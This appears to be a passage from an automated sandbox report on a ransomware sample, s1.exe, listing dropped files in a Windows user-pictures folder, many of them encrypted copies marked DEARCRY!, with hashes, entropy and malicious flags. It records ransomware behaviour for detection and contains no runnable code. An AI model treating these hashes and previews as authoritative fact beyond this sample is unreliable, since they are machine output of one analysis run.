AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):602456
                                                              Entropy (8bit):7.999685820692751
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:46F0F064DE770B7FAECE870FFD8E6A7D
                                                              SHA1:4C24CE1F70AF320A58400B4A2A97D70448A3D110
                                                              SHA-256:76A305CE9A697695204EE6A6CC12F278C221AE35378A5B9E6A67DDAAAB962AA3
                                                              SHA-512:3CEE78DFCFCE67FF6D69C4E8BF96E3D6DDD4858D22EEE66CD9FB9C2F71DA1F266BC7C00BAC19A1DBA62E8154B9E9753302FE6054EDC876CCC9E7630D1024ED87
                                                              Malicious:true
                                                              Preview: DEARCRY!........7.u........;(..4....P7~..._31-G.....eJ.V1m.f.<...W.b.^.5....).C.^.&.._AUivA&&9O..+g..(....[...@...E.....}.p.....)fd....V......z.|.(.-.2...;.Ta...%......1...I.x/.c...........F%N.6?..G....K;..|.k<,..A.ga.g.e........D/.X:.F..\9..!c.AIra......80......$}_+.G..>..eJ;........`..M...X..Y...."g*o.. x.6..B(i.L.Q..R.."...........K.?..lDQ..T.....).E.....U..-f...L5..."..)...4...T%.O...,...5..@...7..[P.d{....A.v.9.-..lz}.{kY.y.H!"y0..Hn..[.E..=Ir.."...y...;,..@Nf$...c3.N.h...xN.<.A...L1C.Y.6..%..I./D.$..)G.....$U........{'.+\G..VQ.$..U2.T.Y...]....o5.9..a.,_.V..bks...*....{....C.Dd.x..Q...T.c.>...w...G....c...mN.Z0[[.....h....).Q5.)...}k4.DD...y.E.<}......&...h.cUzm......=......3..s.......,Sn.:~)`.x..dje..|..K.......%.L.FeYL.{[.F..#.!...@..c..Q].R.....D..cp.........[F.P$.9.R......mj.QY.".....r.C......u<.z......e.2O...M..F.Y...Q.t..o.l8..y..@...4..7..r V.F..l..^=K_R.Y.Oa.W.A......M......{.{X..A..]d+sG...\MR.....)H..|..%.....g...L..
                                                              C:\ProgramData\Microsoft\User Account Pictures\guest.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5400
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F1CDD3C13918F4C3B31908EE7F37D804
                                                              SHA1:DCDF7D4A666B8803A6F93A521133615E90874EA1
                                                              SHA-256:61B142944CDB2C4659721139D18D762E8455CC9B25D1B270E210F60FCDBA568D
                                                              SHA-512:3E59C43BABE578085286D7A83B2FE0FCA2E6B051753F073FEA357FE20BB8390DF3BBC75A2B6CEACF32AD82D92ACC18270A40C97CC4E2C811DA67C85B84310205
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\User Account Pictures\guest.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5688
                                                              Entropy (8bit):7.965257949570971
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:77C757347529AE6E01C9F38F52EA15FD
                                                              SHA1:4433F5F30FF95D2866B23DD1A89E6492FDFB2E21
                                                              SHA-256:456B6DC898C3444E52A3DA64759C58B66F8E6AF3FE889C044E34956895B5488A
                                                              SHA-512:F364EF4C9EC8820771DCD7FD776882B17256D6D74D9A084D012F3C3E3624BAED263DFD91F3E0C46678E0C7BFDF416C77DA1C2D3785AD0B567E03209DB61EF937
                                                              Malicious:false
                                                              Preview: DEARCRY!....E.t..2..7Z.1.,...O..?......r....y.A..3..p....v]..v..Y.D.[...M^..3.).>.....|Z..df.w.....*&.S.S..Q;.'....4...MD..*.....I.7...{f.P....F......5...xk[Pk.S.1.*_x.S..>L.[N.H....+s.N.Z..b...&.....D....~g....@..r:a..Z......hM...i.04~....w......N.Y............9....f-=T."......9...{D..+.=.R..:...;.#e..%........K_..?20Z.].%.vG..i.l!....;....:No.J=~,..v.+..$..{.d~K..Em..[B.7/.zer.#.%6..e/-.......SZ.Q;Y.1.jC.S4..JP.....zz..f..?&...)k....dA.k1..fj..9....-$;~..D...JU..B0.K...j6..7i.q[..u.oe3Gh..~..=..=.....=.6..J..H..E......&.Z..n......a1.....\G....3....u!..^..42....-.....V...qa.a....0[..bZp.j..{l..;...1...N.@...YB.....N.u..~E}-....w`.^.0-uX..e..R...vt......._.._l.p..*..-....W.p....M...n..Gs.*%.*yR..*._.uR........(.p........L.EyD}.o.....<.:.Y.['...u%-Cu..,.s.5...%.E~;..,.5g.2|.9.i...M..9.1.]..PK..j.a.0....p....K.pT'.M....Km...#...C....x}.."...).F.|..t.....tb.3*......:....{.b=..Q.."..$.....p.Y^...Y.g...}.4...7...Qo.5S.B2.%..<...rF.=
                                                              C:\ProgramData\Microsoft\User Account Pictures\user.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.1594288521565845
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0780C27B8D62C2727FA1F0F7CDA52827
                                                              SHA1:D728F4CEF5D98B3CC3D3B0B6064E02030A61C6D6
                                                              SHA-256:BDEF71E21F3A9AB9D4A851A6C1A6E19305B87B5340DA506364BFA632F99B0FCA
                                                              SHA-512:9A91E408DFB6750C7F42DC502F0CF84EF82A8E587E3364A93B9DC0C39057FB1C98055D75E9A64B1021B385C1C01945BF69248BC6F941E3C021667B96882FECD2
                                                              Malicious:false
                                                              Preview: DEARCRY!......e..:{...M#.`.....-.....zq(./.."....,....o.=.[{.#...~6...X...v..RSQ`..Q.ns...........1AO.G..X-.M<^_.:[1..j....O...Ph..#Q@r..F\..UEL.X....WQ..u.I.g$......^L.w...8~... 9v...:E4...a..yc1..l"^.[......../W.|@.....H#.T"..{..3..u@Q'.....m.....7R.gZ..............M...."...T.'...
                                                              C:\ProgramData\Microsoft\User Account Pictures\pratesh.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):296
                                                              Entropy (8bit):7.234177828572367
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C4221C3985F4C73A9B5636CDAE5EE854
                                                              SHA1:D7551F9FD11E6E6A0AA231FA9F9B65BB1F344B4A
                                                              SHA-256:25A18B2D77CE0C63CFC630C357FB868D9942F0170EF58B7AE4166C55D361C31B
                                                              SHA-512:6C13C24D64D2051275112B171A3541CBCB032D3F92CF3D4271F0D6CED158C8FED6FB56FC4DE727458AAC7B05B131C1AB2F02F42A0C1E446093309664627B2F4E
                                                              Malicious:false
                                                              Preview: DEARCRY!.......r@..B.N0..hs....}.%.-X.i.(..DA~.Yn+.Lv....:_..z.3Z.k....2m1].7,...(.Y.Q....VR.g ...U.N(......u..t.7..4.9>...n ..H..........E9..M.......t......;.V9t../.T...<.B.}f.v....s..\.6.t../F.}....4D.B.1@K....mO.*I.u..s..L...d../J.?..Q+.......pj....................pXkRS.@..._.h
                                                              C:\ProgramData\Microsoft\User Account Pictures\user-192.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2407
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:33A71B3B6EAFA5CA31EE2EFC3B821A1F
                                                              SHA1:BFE891BAFA2625D3D89A711B64AE95D5C42C48B7
                                                              SHA-256:1ED8D7A9E0C31A2AA6F76F6A9C17DD27D33644C0C450C4943172922BA43A7FA8
                                                              SHA-512:8F3809A8E48363228A8238AA2F843315A18F66EB09CC437B66726913316DE034CFA811AEF21604726AF7B18C7E046002FC7E446B0BD587A0BB84A03FD070E4C4
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\User Account Pictures\user-192.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2696
                                                              Entropy (8bit):7.923367636937809
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AF57491875E3ED106633E6E0440B2D2A
                                                              SHA1:896DADBA80E6AC53C54D7A737F19C3900BFDC2E8
                                                              SHA-256:2C6B6D33FD04F7226EEBCA9F632E3F57126FD7054CD7175950CF14FFBA0882B0
                                                              SHA-512:56E991B856C8B1622E1802F4B72DE35144452B3F88BBB39B43401517ECF6531E9DB8387695470A26A4DD87D6A2BC26E9EABE75BAB5741C6BB0929BA71A27D59A
                                                              Malicious:false
                                                              Preview: DEARCRY!........9.hs.9.F...R".J.....~.w.l.^1i[h...X9W.........P./......f...F.._..........L.....41lQ.[......wS.%..R...k#m..0..uV+...&&...j..v4.K....y..*<...Lo.:.qO.%(h<..T.....d.....]X........4.T..}IQa..............&\.....B.a.........|..Z4....MjSu..h..e.....g.......u.yj......6.....5.$..K....[/.<a].u../|.....AKlNCB..qD.{w.H.v.....7Q..m.F...}...@~.0ND....?C..%.9MR..9......xC....0.....s"^.=.....kN3...X,.cB.6.(.?4k...4...!..H...a....n0.....V2......U...~M...s..13...)R..p..C.s...h-YR...UZ.Ae&.rl.co..W.A..e..d..t........H...u....j}C.F.l^.:..\..a.GiL......`....+<.......o3.Y.....!.{...9..........;A..Y..z...V.....I.=t...Y;....msJ3#..Lm1I.\....R.....j........n.<C.(.3.....e..w.+.b..\....:U....(..,...0.D.+..C..fD...I.'f..8..G.....T=.p..Q...$.).i..iI;.....|.DR.l..j./J..?P.g....3..b...=..?e..~5o....A.'..*&.5.j4Z.h..|.S..j.,..#..m:.j.-w...8.>;./.......&.ZB..&A.G3.Iu<..a..b.Jp9.N..M.....f.....9.....2....%F*U...vm.3u...s..........V.9.(r.n.....y..m.|...../
                                                              C:\ProgramData\Microsoft\User Account Pictures\user-32.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):415
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0B18E4AD3E6DDABFF72954F95ED3D57D
                                                              SHA1:21B8FCA15294C1AC0C91C8739ED8FA9F6EE6FBC1
                                                              SHA-256:1D1D0112F2507552734BDEA2D07FBD2E19F6DE7B6CDD4B29E06EC93207440A05
                                                              SHA-512:E45D22A1B90142346688FA01B1BE1AA1A9DA1246580388999F84B610C497F27939568FAA730E7EAD55AA3C4B66FCF94613888BD1594B6E136D1117244A95E45C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\User Account Pictures\user-32.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):696
                                                              Entropy (8bit):7.689927824135676
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FC0F5A540B2689BF5B3BAEC584B46480
                                                              SHA1:154F5BC37475824A4AF2A5C93F597D8292DB6BDE
                                                              SHA-256:009A7D35C86F0477DE4F2F8A7F199D7D1EB353A058FCC982154AAF267E11425F
                                                              SHA-512:6401344C8C7F00DF4F9C4FF0B1E8BF1B127786795E6BE085F36FBF8962CBD401F381B8396C4287C6278322837A08CFC7EA2068C57AE80D067069894396616B87
                                                              Malicious:false
                                                              Preview: DEARCRY!....Ni......s.}..)g....0..U....2N...G.Ih...5.!.O.{h.o>.^.B....4.-...:.T...I.f{..%.3..b>~..*f......=..t.s%..>....h{.#..2..rS..,.u.0..-BD..{...oRGU...&....Fa...L.~3N)0C.z.0.iF..k.?B.yW!X..D".y..AJM.xB.D.vF.../{.i}.?0..._.%....Q....VaH..z2h8.s..................T..%.(y.F5...tx.0...6.``..i.....Q..j.)..P..w....0.4f..?.....S..6........&.....`1...1b.<.....j.8e.#.... ..Z....6...gFCM..BP.[.hn[.j.....C.t!...1..@.....S......P....Uo.j^...k."........w. ..5H\K...\......A...8G.e...(.?=:....}:8r(...X.\QM..=,..o.J.5$.J..fo.....WD+!...Y.s.H..bF.."=..t..;9.D)............5..U...5..F.4....![G..m.G.Z..F.#:.i7[.x..I.K..]z..WE...v..].....Hq..m.....pL..]Mk.t...h.......
                                                              C:\ProgramData\Microsoft\User Account Pictures\user-40.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):433
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DCFDA9DDAA45A8EC44BDDCF31AF95F22
                                                              SHA1:FFCF323BEDDC5B98C4C5665F82575F53B7008C71
                                                              SHA-256:172540B9069C573DE45FC2179E9B5709DEBA8AFBF5A08EFB5F8A97BF57B950F5
                                                              SHA-512:2C06D507069E3392237CAC4BCAE5037A485F92BC86F0D875FB85D97D2B7346DF8A701015A8084781AB516C9FA5B28658B0E3CC4CEAE7BA595F2E240B6F7C18C1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\User Account Pictures\user-40.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):728
                                                              Entropy (8bit):7.687895340276516
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DEC8FA68031BCB5084CDF180D6402E05
                                                              SHA1:2AF1144CA3808CE1287B04C5A20CADE86733FC2B
                                                              SHA-256:4A1165EF7EB8498A311FA4DF69FFC973C8FD253645D3BD400A958F39DAB50877
                                                              SHA-512:C35F5F6CED0E94C3E3AD6D0015ED0D017FC53EC826F93F303FF82404C5876744FC17A089E80BBF673EA2F5D86020847EA327FE529823ACBD87C750405AC641CC
                                                              Malicious:false
                                                              Preview: DEARCRY!...... ....k..&.9.5.....D.3...i....%.M.:..NX(B..m..=.X\......p.]....nQ.%_X...r.>l...IaU....^...u..m..!.u....hg+..iR...pD.....'..]`m.1....651.......?.F6].Sb...^N$.._...B........3j.a.J.?<M...8...._...M..x..H.5"..Z.B:b....c$..M...8&.....+.<.].>.gw_............r.Fn(.R.n.....u.|1yy...|...w.....>.&K.."....d........=....}.9.Bd=.~40..E.4......B.....eHf..)v.$..|.4.(...f.........o.i..Y99.&...pJ..(...g.%.H...X.)..&x......%S.....&..&..|....x..hu..a.p6.2.B.hN..e..J.{...u2k.W....=./.......m...~.J6.2g..o.{...VV.=.F..;.w..}...k....6......g.........[j.\.\^..r.....h..7}.I......H.KX4p|....)..".q..R.r...DbQ......1.?.S..|l;.Pq..R.1m.5P.j7N.c....<.Y....T... .."O'......}4&E.^o..21.z]E.ML.".t.
                                                              C:\ProgramData\Microsoft\User Account Pictures\user-48.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):501
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:826C5429CA2F442F8AB60E87B00791C9
                                                              SHA1:87904E832F4A9536FC081D406021BBC1A382088F
                                                              SHA-256:F18FCBB44FEF9184B2A1AD2DC3C4B22E33F78E082A242DFD9D43B2371922E430
                                                              SHA-512:81F4B177283F352D29D99F649F9F86579E6EAAD27F4F8124FB742C0346903D5C6B887BABE041888AF7D3FD09791F1A3F2DD76C9D778335DEEFE43E05FA0C6D15
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\User Account Pictures\user-48.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):792
                                                              Entropy (8bit):7.729288711444401
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BA06B272ADB33789041A67FFBBA9F49B
                                                              SHA1:B66DD9C5D6C88C1D307F3CF8A12D8068EF124FA1
                                                              SHA-256:B5620000BD4A6F1FEDA40C91F383B840DABFD37EF9ABD54FF5A63BD5D59A684D
                                                              SHA-512:CB27348DAE336BDEE7A46C1137EE1B05C89DF9877BE8288930440CEFEC7502B9FF54D4411AD81691A4A9C89357C097754AD0B5FF6E0267FE7BFACB43EE07082B
                                                              Malicious:false
                                                              Preview: DEARCRY!....{.U.(..1s..'u..0C.y......l..L..UBS.....m y..GJ..dFrW....V..4.....N.b...y.B\...o.).C.6.5..4...<&...^..3...Kg...........T3Mn.-\.f......C.4.X@x...w..~...O.r.&...2...o5....U.g....8.........m.`....#O...<.;}..E...x;9U...v..;..x.ov..s....Hu.eq.)T^h...............34.. ./.}..^.}WA..&..c....M.V...F1.6..Wt.!N...qB....-....o..ab..9)e6....~..Y@...e.k........U....0`..r........-..}.A.5.B...>fEeO.M.J;..;.h.AK.%..rr..J...f.h.......t..f.B.......P?.)...........h1.?.U0.7T.#d=...v0..#..50._.d.r.o..[Yo}A..1....Q,...&....8..E.n.*8rZ.{..lb#....Ipj.....Q.u=.....Fu.~...............`.>....u]..00.D8/(B...+.w..rX+.... ...V.#...s.o.Y.d..=...........M....*...N..o......[.O.s..........@.................g...-.......uT...T!i/........Y.Bz..H.......A...
                                                              C:\ProgramData\Microsoft\User Account Pictures\user.bmp
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):602168
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6D301DC8AF8357AB5108C0C511CAF10F
                                                              SHA1:C6B25FE519C45B94AF05608A93169D576EC3977E
                                                              SHA-256:A79A35B98BF2B818AF22983E5B329A7CADB8DB46BD96798BA08AC4F9540B615A
                                                              SHA-512:50113567BCCE9B73A66ACF58C57264049FA55A5B92FACDC74209AECBA54A6E96472263CF106EED025F5E256A76E23BADADFE79512247CD723991933BB3F279BB
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\User Account Pictures\user.bmp.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):602456
                                                              Entropy (8bit):7.999719741041746
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:5709D48C2601B235C3CD14084D8FC7D5
                                                              SHA1:24436F606894C59C91A15B0BCF9091B05AC986C4
                                                              SHA-256:0A127B240F142F0A4D09DE38F8559706E3C1653E2550F4BD651AEC8AB2BFBEC9
                                                              SHA-512:B0B89639909BDA51D832553BDACDBD34264331392C2533F13360C2F5DD344AC17B143EB8AFEE12F655AD4942EEC1870BAA42E5E4D2AD95B21F6784FA6D3D259B
                                                              Malicious:true
                                                              Preview: DEARCRY!.....b..:S.....i.7'G.y>.J[...y.w{..M{..u.... ...b:.W.f...y.Q.$.....D..(..'......t...7Vh.`yu.y.N.Rq<,.|...{..HW>.....K...n....6..G.)...'>.k..9._1%PN....E..Rf..7..]C..p/k..c..j0..4<.0.s.'J..}..oF...v-.f...[..*..H|B..*.u...{(H+....0.Bp....} .X...U....[.....80.......;.._.3| ...E{n.....b.h..........#..1.....B....&.h]..k.......B..W..R4.^...M$..md..W...k.....;.i..Io"r..L.2G....!..........g..rd.......Pu..}8o..&.......;/.........P6..I...kzT.. ..~%.=.7..\..s......q.D.....d....>.}....$s.i..-.....E..E..m.{...b...e..+F).7\..{.m,.y...d M/.G...+L..@...Y_X4.kQ....p\.;.(g........d/vz.2......+.>..#..0.i..e\........}.. .M.D.....d.F...eUJP.(.P.U....#5..V.}."x..-.v.d............*.kR...+...Xm..E.c.-...@.\r...y.36m.}...sy;L..=m.C..`..rP..c...#p...N.U'.rh.8.L3)>[.._w[...b2..Y...P.s..P`....b9.t.@...$?&..[....}.G....4I(.S.7...n.._..34..g.....H..O..9.>$!.Tkq......q..^.Z..L s..F}.0..UJ.E..~E..V..vk....3r..p.J......}u2C.:c.wp. 2'..H.y.E.w....Hn@.n.-.(..
                                                              C:\ProgramData\Microsoft\User Account Pictures\user.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):5400
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F1CDD3C13918F4C3B31908EE7F37D804
                                                              SHA1:DCDF7D4A666B8803A6F93A521133615E90874EA1
                                                              SHA-256:61B142944CDB2C4659721139D18D762E8455CC9B25D1B270E210F60FCDBA568D
                                                              SHA-512:3E59C43BABE578085286D7A83B2FE0FCA2E6B051753F073FEA357FE20BB8390DF3BBC75A2B6CEACF32AD82D92ACC18270A40C97CC4E2C811DA67C85B84310205
                                                              Malicious:false
